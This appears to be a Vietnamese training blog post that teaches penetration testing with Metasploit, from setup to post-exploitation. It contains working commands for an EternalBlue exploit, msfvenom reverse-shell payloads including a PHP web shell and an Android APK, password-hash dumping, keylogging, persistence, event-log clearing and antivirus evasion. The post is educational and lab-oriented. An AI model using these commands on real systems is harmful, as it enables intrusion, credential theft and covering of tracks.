Pentest với Metasploit toàn tập 2026: Từ cơ bản đến khai thác thực chiến
Tóm tắt nhanh: Metasploit Framework là công cụ kiểm thử xâm nhập (penetration testing) mạnh nhất và phổ biến nhất thế giới với hơn 2,200 module exploit, 1,200 payload và 400+ post-exploitation module. Bài viết này là hướng dẫn toàn diện về Metasploit từ kiến trúc, cài đặt, sử dụng cơ bản đến các kỹ thuật khai thác nâng cao - dành cho Pentester, sinh viên CNTT và những người đang ôn thi CEH/OSCP.
Nếu bạn hỏi 100 Pentester chuyên nghiệp "Công cụ nào quan trọng nhất trong sự nghiệp của bạn?", thì 99 người sẽ trả lời: Metasploit.
Tại sao? Bởi vì Metasploit không chỉ là một công cụ - nó là một framework hoàn chỉnh giúp bạn thực hiện toàn bộ quá trình tấn công, từ trinh sát, quét lỗ hổng, khai thác, hậu khai thác, đến duy trì truy cập và xóa dấu vết. Tất cả gói gọn trong một hệ thống thống nhất, miễn phí, mã nguồn mở, được cập nhật hàng ngày bởi Rapid7 và cộng đồng toàn cầu.
Bài viết này sẽ là bản đồ toàn diện giúp bạn làm chủ Metasploit - từ những bước đầu tiên gõ lệnh msfconsole đến việc xây dựng kịch bản tấn công hoàn chỉnh trên Active Directory.
1. Metasploit Framework là gì? Lịch sử và vai trò
Metasploit Framework là một bộ công cụ mã nguồn mở dành cho kiểm thử xâm nhập (penetration testing) và phát triển exploit. Đây là dự án do H.D. Moore khởi tạo vào năm 2003, ban đầu được viết bằng Perl, sau đó chuyển sang Ruby vào năm 2007.
Năm 2009, Rapid7 mua lại Metasploit và phát triển 4 phiên bản:
| Phiên bản | Đối tượng | Giá |
|---|---|---|
| Metasploit Framework | Cộng đồng, học thuật | Miễn phí, mã nguồn mở |
| Metasploit Pro | Doanh nghiệp lớn | $15,000+/năm |
| Metasploit Express | SMB | Đã ngừng |
| Metasploit Community | Người dùng cá nhân | Đã sáp nhập vào Framework |
Trong bài viết này, chúng ta tập trung vào Metasploit Framework - phiên bản miễn phí mà 99% pentester trên thế giới đang dùng hàng ngày.
Tại sao Metasploit lại quan trọng?
Thứ nhất, kho exploit khổng lồ. Tính đến tháng 4/2026, Metasploit có:
- 2,300+ exploit modules (CVE từ 2003 đến hiện tại)
- 1,250+ payload modules
- 1,400+ auxiliary modules (scanner, fuzzer, brute-forcer)
- 400+ post-exploitation modules
- 600+ encoder modules
Thứ hai, được cập nhật liên tục. Mỗi khi có CVE mới được công bố, cộng đồng Metasploit thường có module exploit trong vòng vài ngày đến vài tuần.
Thứ ba, tích hợp với mọi thứ. Metasploit có thể nhập kết quả từ Nmap, Nessus, Nexpose, OpenVAS, và nhiều công cụ khác - giúp pentester làm việc với một workflow thống nhất.
💡 Lưu ý quan trọng: Metasploit là công cụ "lưỡng dụng" - có thể dùng để bảo vệ (red team kiểm tra hệ thống) hoặc tấn công (kẻ xấu khai thác lỗ hổng). Việc sử dụng Metasploit để tấn công vào hệ thống không được phép là phạm pháp theo Luật An ninh mạng Việt Nam 2018, Điều 7. Hãy chỉ thực hành trong môi trường lab của riêng bạn hoặc khi có văn bản ủy quyền hợp pháp.
2. Kiến trúc và thành phần cốt lõi của Metasploit
Để sử dụng Metasploit hiệu quả, bạn cần hiểu kiến trúc của nó. Metasploit được tổ chức theo mô hình modular - mỗi chức năng là một module độc lập có thể nạp và chạy riêng biệt.
Kiến trúc tổng quan
┌────────────────────────────────────────────────────┐
│ GIAO DIỆN NGƯỜI DÙNG │
│ ┌─────────┐ ┌──────────┐ ┌────────┐ ┌──────┐ │
│ │msfconsol│ │ msfweb │ │msfvenom│ │ RPC │ │
│ └─────────┘ └──────────┘ └────────┘ └──────┘ │
└────────────────────┬───────────────────────────────┘
│
┌────────────────────▼───────────────────────────────┐
│ CORE FRAMEWORK (Ruby) │
│ ┌──────────────────────────────────────────────┐ │
│ │ Module Loader │ Plugin Manager │ Session Mgr│ │
│ └──────────────────────────────────────────────┘ │
└────────────────────┬───────────────────────────────┘
│
┌────────────────────▼───────────────────────────────┐
│ 7 LOẠI MODULE │
│ ┌─────────┐┌────────┐┌─────────┐┌───────┐┌──────┐ │
│ │Exploits ││Payloads││Auxiliary││Encoder││ NOPS │ │
│ └─────────┘└────────┘└─────────┘└───────┘└──────┘ │
│ ┌─────────────┐ ┌───────────────────┐ │
│ │Post-Exploit │ │ Evasion (v6+) │ │
│ └─────────────┘ └───────────────────┘ │
└────────────────────┬───────────────────────────────┘
│
┌────────────────────▼───────────────────────────────┐
│ DATABASE BACKEND │
│ ┌────────────────────────────────────────────┐ │
│ │ PostgreSQL (lưu hosts, services, vulns) │ │
│ └────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────┘
7 loại module chính
1. Exploits - Code khai thác lỗ hổng cụ thể (ví dụ: ms17_010_eternalblue)
2. Payloads - Code chạy trên máy nạn nhân sau khi khai thác (reverse_tcp, meterpreter)
3. Auxiliary - Module hỗ trợ: scanner, fuzzer, sniffer, dos
4. Encoders - Mã hóa payload để tránh antivirus
5. NOPs - "No Operation" instructions để pad payload
6. Post-Exploitation - Module chạy sau khi đã chiếm được máy
7. Evasion - Module tạo payload tránh AV/EDR (mới từ v6)
Tìm hiểu sâu hơn: Metasploit Framework là gì? Kiến trúc và thành phần
3. Cài đặt Metasploit trên các hệ điều hành
Cài đặt trên Kali Linux (Khuyến nghị)
Kali Linux đã cài sẵn Metasploit, bạn chỉ cần cập nhật:
sudo apt update && sudo apt upgrade metasploit-framework
sudo msfdb init # Khởi tạo database PostgreSQL
msfconsole # Khởi động Metasploit
Cài đặt trên Ubuntu/Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall && ./msfinstall
Cài đặt trên Windows
Tải file installer từ https://www.metasploit.com/ và chạy với quyền Administrator. Tuy nhiên, Windows không phải nền tảng tối ưu - nên dùng Kali Linux trên VM.
Cài đặt trên macOS
brew install metasploit
Hướng dẫn chi tiết: Cài đặt Metasploit trên Kali Linux và Ubuntu | Cài đặt Kali Linux trên VMware và VirtualBox
4. Làm chủ msfconsole - Giao diện chỉ huy của Metasploit
msfconsole là giao diện dòng lệnh chính của Metasploit. Đây là nơi bạn sẽ dành 90% thời gian làm việc với framework.
Các lệnh cơ bản nhất
# Tìm kiếm module
msf6 > search ms17-010
msf6 > search type:exploit platform:windows cve:2021
# Sử dụng module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) >
# Xem các tùy chọn của module
msf6 exploit(ms17_010_eternalblue) > show options
# Đặt giá trị cho tùy chọn
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
# Chọn payload
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Khai thác!
msf6 exploit(ms17_010_eternalblue) > exploit
# hoặc viết tắt
msf6 exploit(ms17_010_eternalblue) > run
Quy ước biến quan trọng cần nhớ
| Biến | Ý nghĩa | Ví dụ |
|---|---|---|
| RHOSTS | Remote Host (IP máy nạn nhân) | 192.168.1.100 |
| RPORT | Remote Port | 445 |
| LHOST | Local Host (IP máy tấn công) | 192.168.1.50 |
| LPORT | Local Port (port lắng nghe) | 4444 |
| PAYLOAD | Payload sử dụng | windows/meterpreter/reverse_tcp |
| TARGET | Phiên bản target cụ thể | 0 (auto), 1, 2... |
Database trong Metasploit
# Khởi tạo
msf6 > db_status
msf6 > workspace -a my_pentest # Tạo workspace mới
# Import kết quả Nmap
msf6 > db_nmap -sV -p- 192.168.1.0/24
# Xem hosts đã phát hiện
msf6 > hosts
msf6 > services
msf6 > vulns
Học chi tiết: Hướng dẫn sử dụng msfconsole cho người mới
5. Quy trình khai thác chuẩn 5 bước
Đây là workflow chuẩn mà mọi pentester chuyên nghiệp đều sử dụng khi làm việc với Metasploit:
Bước 1: Reconnaissance (Trinh sát)
# Quét mạng với Nmap, import vào Metasploit
msf6 > db_nmap -sS -sV -O 192.168.1.0/24
# Sử dụng auxiliary scanner của Metasploit
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
Bước 2: Vulnerability Scanning (Quét lỗ hổng)
# Kiểm tra lỗ hổng SMB MS17-010 (EternalBlue)
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
Bước 3: Exploitation (Khai thác)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > exploit
Bước 4: Post-Exploitation (Hậu khai thác)
# Sau khi có meterpreter session
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem # Privilege escalation
meterpreter > hashdump # Lấy hash mật khẩu
meterpreter > screenshot
meterpreter > keyscan_start
Bước 5: Reporting (Báo cáo)
msf6 > db_export -f xml report.xml
msf6 > loot # Xem các file đã lấy được
msf6 > notes # Ghi chú trong quá trình test
Đọc thêm: Khai thác lỗ hổng EternalBlue MS17-010 với Metasploit | Post-Exploitation với Metasploit: Privilege Escalation
6. Payload và msfvenom - Vũ khí của Pentester
Payload là code được thực thi trên máy nạn nhân sau khi exploit thành công. Hiểu về payload là kỹ năng quan trọng nhất khi làm việc với Metasploit.
Phân loại payload
Theo cách kết nối:
| Loại | Mô tả | Khi nào dùng |
|---|---|---|
| Bind shell | Mở port trên máy nạn nhân, chờ kết nối | Khi nạn nhân có IP công cộng |
| Reverse shell | Máy nạn nhân kết nối ngược về máy tấn công | Phổ biến nhất (vượt firewall) |
| Staged | Tải payload từng bước (stager + stage) | Payload nhỏ, ít bị AV phát hiện |
| Stageless | Payload đầy đủ trong 1 file | Đơn giản, dễ kiểm soát |
msfvenom - Tạo payload độc lập
# Tạo Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f exe -o shell.exe
# Tạo Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f elf -o shell.elf
# Tạo Web shell PHP
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o shell.php
# Tạo Android APK
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-o malicious.apk
Hướng dẫn đầy đủ: Cách tạo Payload với msfvenom
7. Meterpreter - Trợ thủ đắc lực sau khai thác
Meterpreter là payload đặc biệt và mạnh nhất của Metasploit. Khác với shell thông thường (chạy ở user space, dễ bị phát hiện), Meterpreter:
- ✅ Chạy hoàn toàn trong bộ nhớ (in-memory), không ghi vào disk
- ✅ Mã hóa toàn bộ giao tiếp (TLS)
- ✅ Có thể migrate sang process khác để tránh bị kill
- ✅ Cung cấp 200+ lệnh built-in
Các lệnh Meterpreter quan trọng
# Information gathering
meterpreter > sysinfo # Thông tin hệ thống
meterpreter > getuid # User hiện tại
meterpreter > ps # Liệt kê process
meterpreter > ipconfig # Network info
# Privilege escalation
meterpreter > getsystem # Tự động escalate
meterpreter > load priv # Load priv extension
# Credential dumping
meterpreter > hashdump # Dump SAM hashes
meterpreter > load kiwi # Load Mimikatz
meterpreter > kiwi_cmd "lsadump::sam"
# File operations
meterpreter > download file.txt /tmp/
meterpreter > upload payload.exe C:\\Windows\\Temp\\
meterpreter > cat C:\\Users\\admin\\Desktop\\flag.txt
# Network pivoting
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.5
# Persistence
meterpreter > run persistence -X -i 30 -p 4444 -r 192.168.1.50
# Stealth
meterpreter > migrate 1234 # Chuyển sang process khác
meterpreter > clearev # Xóa Event log
Đọc đầy đủ: Meterpreter là gì? Toàn bộ lệnh Meterpreter | Pivoting và Lateral Movement với Metasploit
8. Tích hợp Metasploit với các công cụ khác
Sức mạnh thực sự của Metasploit nằm ở khả năng tích hợp với các công cụ khác trong toolkit của Pentester.
Tích hợp với Nmap
# Quét Nmap và lưu kết quả
nmap -sV -sC -oX scan.xml 192.168.1.0/24
# Import vào Metasploit
msf6 > db_import scan.xml
msf6 > hosts
msf6 > services
Tích hợp với Nessus
# Cài plugin Nessus
msf6 > load nessus
msf6 > nessus_connect admin:password@localhost:8834
msf6 > nessus_scan_new "My Scan" "Scan from MSF" 192.168.1.0/24
msf6 > nessus_scan_launch
msf6 > nessus_report_get
Tích hợp với BloodHound (cho Active Directory)
Dùng meterpreter để extract thông tin AD, sau đó nhập vào BloodHound để vẽ attack path.
Học chi tiết: Tích hợp Metasploit với Nmap và Nessus | Lab Metasploit: Khai thác Active Directory
9. Lab thực hành cho người mới
Học Metasploit không thể chỉ đọc lý thuyết - bạn PHẢI thực hành. Dưới đây là 3 lab miễn phí phù hợp với mọi cấp độ.
Lab 1: Metasploitable 2 (Cấp độ: Beginner)
Metasploitable 2 là máy ảo Linux có chủ đích chứa hàng chục lỗ hổng để bạn thực hành.
Cách triển khai:
- Tải Metasploitable 2 từ SourceForge
- Cài lên VMware/VirtualBox
- Đặt vào cùng mạng với Kali Linux
- Bắt đầu khai thác!
Các lỗ hổng thực hành:
- vsftpd 2.3.4 backdoor (port 21)
- UnrealIRCd backdoor (port 6667)
- Samba username map script (port 139/445)
- Tomcat manager default credentials (port 8180)
Hướng dẫn từng bước: Lab Metasploit: Tấn công Metasploitable 2
Lab 2: TryHackMe & HackTheBox (Cấp độ: Intermediate)
Hai nền tảng CTF online phổ biến nhất:
- TryHackMe - Phù hợp người mới, có hướng dẫn từng bước
- HackTheBox - Khó hơn, không hướng dẫn, "thử trí thông minh"
Lab 3: Active Directory Lab (Cấp độ: Advanced)
Tự xây Active Directory lab để thực hành các kỹ thuật tấn công enterprise:
- 1 Domain Controller (Windows Server 2019/2022)
- 2-3 Workstation (Windows 10/11)
- 1 Member Server (SQL, IIS)
- Kali Linux để tấn công
Chi phí: 0đ (chỉ cần evaluation license của Microsoft, dùng được 180 ngày).
10. Bypass Antivirus và các kỹ thuật nâng cao
Một sự thật phũ phàng: payload mặc định của Metasploit bị mọi antivirus phát hiện trong vòng 5 giây. Nếu bạn muốn làm pentester thực thụ, bạn phải biết cách bypass AV.
Các kỹ thuật bypass AV cơ bản
1. Mã hóa với encoder:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x64/xor_dynamic -i 5 \
-f exe -o encoded_payload.exe
2. Tự encode bằng custom shellcode loader (C/C#)
3. Process Hollowing và Reflective DLL Injection
4. AMSI Bypass cho PowerShell payload
5. Direct Syscalls để tránh hook EDR
Armitage - Giao diện đồ họa
Nếu bạn muốn cảm giác "Hollywood hacker", Armitage là giao diện đồ họa cho Metasploit với khả năng visualize attack path.
sudo apt install armitage
sudo armitage
Đọc chi tiết: Bypass Antivirus với Metasploit Encoder | Armitage - Giao diện đồ họa cho Metasploit
🎯 Kết luận: Lộ trình master Metasploit
Để thực sự làm chủ Metasploit, hãy đi theo lộ trình này:
Tháng 1: Cài đặt, làm quen msfconsole, hiểu các loại module
Tháng 2: Hoàn thành Metasploitable 2 - khai thác hết các lỗ hổng có sẵn
Tháng 3: Học msfvenom, tạo các loại payload, hiểu Meterpreter
Tháng 4-5: Lab TryHackMe và HackTheBox (ít nhất 20-30 boxes)
Tháng 6: Tự xây AD Lab và thực hành các kỹ thuật enterprise pentest
Tháng 7+: Học AV bypass, custom shellcode, OPSEC nâng cao
🚀 Học Metasploit chuyên nghiệp tại Security365 Academy
Security365 Academy cung cấp:
- ✅ Khóa "Pentest Với Metasploit" - 60 giờ học, 30+ lab thực chiến
- ✅ Khóa CEH v13 có module Metasploit chuyên sâu
- ✅ Khóa Hacking Với Kali Linux kết hợp Metasploit và 50+ tool khác
- ✅ Lab AD Pentest - Thực hành tấn công môi trường enterprise
👉 Đăng ký tư vấn miễn phí để nhận lộ trình học Metasploit từ Zero đến Pentester chuyên nghiệp.
📚 Đọc tiếp các bài liên quan
- Hacking với Kali Linux - Toolkit của Pentester
- EC-Council - Hacker mũ trắng & Pentest chuyên nghiệp
- Nmap - Quét mạng và phát hiện lỗ hổng
- CEH v13 là gì? Toàn tập về Certified Ethical Hacker
- Pentester là gì? Mức lương và yêu cầu công việc
Bài viết được biên soạn bởi đội ngũ chuyên gia Security365 Academy. Tất cả ví dụ trong bài chỉ phục vụ mục đích giáo dục - vui lòng chỉ thực hành trên hệ thống bạn được phép. Cập nhật mới nhất: Tháng 4/2026.
Tags: #Metasploit #Pentest #msfvenom #Meterpreter #EthicalHacking #KaliLinux #Security365